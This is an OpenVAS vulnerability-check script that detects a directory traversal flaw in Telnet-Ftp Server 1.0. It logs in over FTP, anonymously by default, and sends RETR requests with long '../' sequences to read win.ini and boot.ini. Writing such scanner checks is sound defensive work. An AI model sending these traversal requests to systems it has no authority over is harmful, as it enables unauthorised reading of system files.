Telnet-Ftp Server Directory Traversal Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_telnet_ftp_server_dir_trav_vun.nasl 6086 2017-05-09 09:03:30Z teissa $
#
# Telnet-Ftp Server Directory Traversal Vulnerability
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(803736);
  script_version("$Revision: 6086 $");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"$Date: 2017-05-09 11:03:30 +0200 (Tue, 09 May 2017) $");
  script_tag(name:"creation_date", value:"2013-08-19 10:32:03 +0530 (Mon, 19 Aug 2013)");
  script_name("Telnet-Ftp Server Directory Traversal Vulnerability");

   tag_summary =
"The host is running Telnet-Ftp server and is prone to directory traversal
vulnerabilities.";

  tag_vuldetect =
"Send the crafted directory traversal attack request and check whether it
is able to read the system file or not.";

  tag_insight =
"The flaw exists due to error in handling of file names. It does not properly
sanitise filenames containing directory traversal sequences that are received
from an FTP server.";

  tag_impact =
"Successful exploitation will allow attackers to read arbitrary files on the
affected application.

Impact Level: Application";

  tag_affected =
"Telnet-Ftp Server version 1.0 (Build 1.218)";

  tag_solution =
"No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";


  script_tag(name : "summary" , value : tag_summary);
  script_tag(name : "vuldetect" , value : tag_vuldetect);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name : "URL" , value : "http://1337day.com/exploit/20939");
  script_xref(name : "URL" , value : "http://exploitsdownload.com/exploit/na/telnet-ftp-service-server-10-directory-traversal");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2013 Greenbone Networks GmbH");
  script_family("FTP");
  script_dependencies("secpod_ftp_anonymous.nasl");
  script_require_ports("Services/ftp", 21);
  exit(0);
}


include("ftp_func.inc");

## Variable initialization
login_details = "";
ftpPort = "";
banner = "";
soc = "";
user = "";
pass = "";

## Get the default port of FTP
ftpPort = get_kb_item("Services/ftp");
if(!ftpPort){
  ftpPort = 21;
}

## check port status
if(!get_port_state(ftpPort)){
  exit(0);
}

# Get the FTP banner
banner = get_ftp_banner(port:ftpPort);
if("220 FTP Server ready" >!< banner && "Telnet-Ftp Server" >!< banner){
  exit(0);
}

## create the socket
soc = open_sock_tcp(ftpPort);
if(!soc){
  exit(0);
}

## Get the FTP user name and password
user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

## if not user name is given try with anonymous
if(!user){
  user = "anonymous";
}

## if not password is given try with anonymous
if(!pass){
  pass = string("anonymous");
}

login_details = ftp_log_in(socket:soc, user:user, pass:pass);
if(!login_details)
{
 close(soc);
 exit(0);
}

## Change to PASV Mode
ftpPort2 = ftp_get_pasv_port(socket:soc);
if(!ftpPort2)
{
  close(soc);
  exit(0);
}

## Open a Socket and Send Crafted request
soc2 = open_sock_tcp(ftpPort2, transport:get_port_transport(ftpPort));
if(!soc2)
{
  close(soc);
  exit(0);
}

## List the possible system files
files = make_list("windows/win.ini", "boot.ini", "winnt/win.ini");
foreach file (files)
{
  ## Construct the attack request
  file = "../../../../../../../../../../../../../../../../" + file;
  attackreq = string("RETR ", file);
  send(socket:soc, data:string(attackreq, "\r\n"));

  result = ftp_recv_data(socket:soc2);

  ## confirm the exploit
  if("\WINDOWS" >< result || "; for 16-bit app support" >< result
                                     || "[boot loader]" >< result)
  {
    security_message(port:ftpPort);
    close(soc2);
    close(soc);
    exit(0);
  }
}

close(soc);
close(soc2);